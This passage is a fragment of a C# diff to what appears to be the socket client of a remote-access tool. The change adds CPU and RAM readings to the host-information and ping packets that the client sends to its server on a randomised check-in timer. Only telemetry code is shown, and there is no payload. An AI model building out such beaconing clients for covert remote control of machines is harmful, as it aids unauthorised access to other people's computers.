SendSync = new object();
EndSendSync = new object();
+ theCPUCounter = new PerformanceCounter("Processor", "% Processor Time", "_Total");
+ theMemCounter = new PerformanceCounter("Memory", "% Committed Bytes In Use");
+ theCPUCounter.NextValue();
BeginSend(SendInfo());
TimerCallback T = CheckServer;
Tick = new Timer(T, null, new Random().Next(30 * 1000, 60 * 1000), new Random().Next(30 * 1000, 60 * 1000));
@@ -80,6 +84,7 @@ namespace Client.Sockets
Environment.Is64BitOperatingSystem.ToString().Replace("True", "64bit").Replace("False", "32bit");
msgpack.ForcePathObject("Path").AsString = Process.GetCurrentProcess().MainModule.FileName;
msgpack.ForcePathObject("Version").AsString = Settings.Version;
+ msgpack.ForcePathObject("Performance").AsString = $"CPU {(int)theCPUCounter.NextValue()}% RAM {(int)theMemCounter.NextValue()}%";
return msgpack.Encode2Bytes();
}
@@ -193,7 +198,7 @@ namespace Client.Sockets
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "Ping";
- msgpack.ForcePathObject("Message").AsString = DateTime.Now.ToLongTimeString().ToString();
+ msgpack.ForcePathObject("Message").AsString = $"CPU {(int)theCPUCounter.NextValue()}% RAM {(int)theMemCounter.NextValue()}%";
BeginSend(msgpack.Encode2Bytes());
}
}